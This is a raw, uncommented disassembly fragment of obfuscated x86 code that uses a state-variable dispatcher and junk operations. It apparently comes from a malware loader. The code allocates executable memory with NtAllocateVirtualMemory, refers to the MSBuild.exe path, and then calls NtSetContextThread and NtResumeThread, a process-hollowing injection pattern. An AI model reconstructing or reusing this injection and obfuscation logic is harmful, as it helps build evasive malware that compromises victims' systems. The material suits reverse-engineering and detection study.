xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdeabe5bb
mov ecx, 0x880ea20c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x194], eax
jmp 0x10006fce
mov dword [ebp - 0x194], 0x26fabcd1
jmp 0x10006fce
mov dword [ebp - 0x194], 0xb2e50d4e
jmp 0x10006fce
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100075f0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov eax, dword [ebp - 0x17c]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x194], 0x4b93f0df
jmp 0x10006fce
mov eax, dword [ebp - 0x20]
sub esp, 4
mov dword [esp], eax
call fcn.100031c0
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x178]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax + 0x50]
mov eax, dword [ebp - 0x170]
mov dword [eax], ecx
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax + 0xa4]
mov eax, dword [ebp - 0x16c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x174]
mov eax, dword [ebp - 0x170]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x194], 0x741d45d9
jmp 0x10006fce
mov dword [ebp - 0x194], 0x5ec288e1
jmp 0x10006fce
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x194], 0xf0484535
jmp 0x10006fce
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x194], 0x177b5814
jmp 0x10006fce
mov dword [ebp - 0x194], 0xc2940c1b
jmp 0x10006fce
mov dword [ebp - 0x194], 0xadc10b76
jmp 0x10006fce
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0x88]
mov edx, dword [ebp - 0x84]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov dword [ebp - 0x194], 0xdf5a813b
jmp 0x10006fce
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x6c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x194], 0xa2073ac7
jmp 0x10006fce
mov dword [ebp - 0x194], 0x5d29c7f7
jmp 0x10006fce
jmp 0x100035e0